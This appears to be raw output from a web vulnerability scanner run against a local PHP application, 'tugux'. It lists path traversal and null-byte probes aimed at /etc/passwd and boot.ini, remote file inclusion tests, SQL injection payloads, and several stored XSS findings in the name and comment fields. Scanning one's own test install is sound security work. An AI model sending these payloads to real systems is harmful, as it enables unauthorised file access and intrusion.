  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&name=on&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&email=on&name=on&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=9
  with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&name=on&submit1=Submit&topic_id=9
  coming fromhttp://localhost/tugux/comments.php?nid=9
  MySQL Injection in http://localhost/tugux/latest.php?nid=9
   with params =comment=%BF%27%22%28&email=on&name=on&submit1=Submit&topic_id=9
   coming fromhttp://localhost/tugux/comments.php?nid=9
  MySQL Injection in http://localhost/tugux/latest.php?nid=9
   with params =comment=on&email=on&name=on&submit1=Submit&topic_id=%BF%27%22%28
   coming fromhttp://localhost/tugux/comments.php?nid=9
  MySQL Injection in http://localhost/tugux/latest.php?nid=9
   with params =comment=on&email=on&name=%BF%27%22%28&submit1=Submit&topic_id=9
   coming fromhttp://localhost/tugux/comments.php?nid=9
  MySQL Injection in http://localhost/tugux/latest.php?nid=9
   with params =comment=on&email=on&name=on&submit1=%BF%27%22%28&topic_id=9
   coming fromhttp://localhost/tugux/comments.php?nid=9
  MySQL Injection in http://localhost/tugux/latest.php?nid=9
   with params =comment=on&email=%BF%27%22%28&name=on&submit1=Submit&topic_id=9
   coming fromhttp://localhost/tugux/comments.php?nid=9
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=http%3A%2F%2Fwww.google.com%2F&email=on&name=on&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=http%3A%2F%2Fwww.google.com%2F
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=http%3A%2F%2Fwww.google.com%2F&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=on&submit1=http%3A%2F%2Fwww.google.com%2F&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=http%3A%2F%2Fwww.google.com%2F&name=on&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=%2Fetc%2Fpasswd&email=on&name=on&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=%2Fetc%2Fpasswd
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=%2Fetc%2Fpasswd&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=on&submit1=%2Fetc%2Fpasswd&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=%2Fetc%2Fpasswd&name=on&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=%2Fetc%2Fpasswd%00&email=on&name=on&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=%2Fetc%2Fpasswd%00
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=%2Fetc%2Fpasswd%00&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=on&submit1=%2Fetc%2Fpasswd%00&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=%2Fetc%2Fpasswd%00&name=on&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=c%3A%5C%5Cboot.ini&email=on&name=on&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=c%3A%5C%5Cboot.ini
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=c%3A%5C%5Cboot.ini&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=on&submit1=c%3A%5C%5Cboot.ini&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=c%3A%5C%5Cboot.ini&name=on&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=c%3A%5C%5Cboot.ini%00&email=on&name=on&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=c%3A%5C%5Cboot.ini%00
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=c%3A%5C%5Cboot.ini%00&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=on&submit1=c%3A%5C%5Cboot.ini%00&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=c%3A%5C%5Cboot.ini%00&name=on&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&email=on&name=on&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name=on&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&email=on&name=on&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00&name=on&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&email=on&name=on&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini&name=on&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&email=on&name=on&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=on&submit1=Submit&topic_id=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=on&name=on&submit1=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  Warning include in http://localhost/tugux/latest.php?nid=
  with params =comment=on&email=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&name=on&submit1=Submit&topic_id=on
  coming fromhttp://localhost/tugux/comments.php?nid=
  MySQL Injection in http://localhost/tugux/latest.php?nid=
   with params =comment=%BF%27%22%28&email=on&name=on&submit1=Submit&topic_id=on
   coming fromhttp://localhost/tugux/comments.php?nid=
  MySQL Injection in http://localhost/tugux/latest.php?nid=
   with params =comment=on&email=on&name=on&submit1=Submit&topic_id=%BF%27%22%28
   coming fromhttp://localhost/tugux/comments.php?nid=
  MySQL Injection in http://localhost/tugux/latest.php?nid=
   with params =comment=on&email=on&name=%BF%27%22%28&submit1=Submit&topic_id=on
   coming fromhttp://localhost/tugux/comments.php?nid=
  MySQL Injection in http://localhost/tugux/latest.php?nid=
   with params =comment=on&email=on&name=on&submit1=%BF%27%22%28&topic_id=on
   coming fromhttp://localhost/tugux/comments.php?nid=
  MySQL Injection in http://localhost/tugux/latest.php?nid=
   with params =comment=on&email=%BF%27%22%28&name=on&submit1=Submit&topic_id=on
   coming fromhttp://localhost/tugux/comments.php?nid=
  Found permanent XSS in http://localhost/tugux/latest.php?nid=
  attacked by http://localhost/tugux/latest.php?nid= with field name
  Found permanent XSS in http://localhost/tugux/latest.php?nid=
  attacked by http://localhost/tugux/latest.php?nid= with field comment
  Found permanent XSS in http://localhost/tugux/latest.php?nid= 10
  attacked by http://localhost/tugux/latest.php?nid= with field name
  Found permanent XSS in http://localhost/tugux/latest.php?nid= 10
  attacked by http://localhost/tugux/latest.php?nid= with field comment
  Found permanent XSS in http://localhost/tugux/latest.php?nid= 9
  attacked by http://localhost/tugux/latest.php?nid= with field name
  Found permanent XSS in http://localhost/tugux/latest.php?nid= 9
  attacked by http://localhost/tugux/latest.php?nid= with field comment
  Found permanent XSS in http://localhost/tugux/latest.php?nid=10
  attacked by http://localhost/tugux/latest.php?nid=10 with field comment
  Found permanent XSS in http://localhost/tugux/latest.php?nid=10
  attacked by http://localhost/tugux/latest.php?nid=10 with field name
  Found permanent XSS in http://localhost/tugux/latest.php?nid=9
  attacked by http://localhost/tugux/latest.php?nid=9 with field comment
  Found permanent XSS in http://localhost/tugux/latest.php?nid=9
  attacked by http://localhost/tugux/latest.php?nid=9 with field name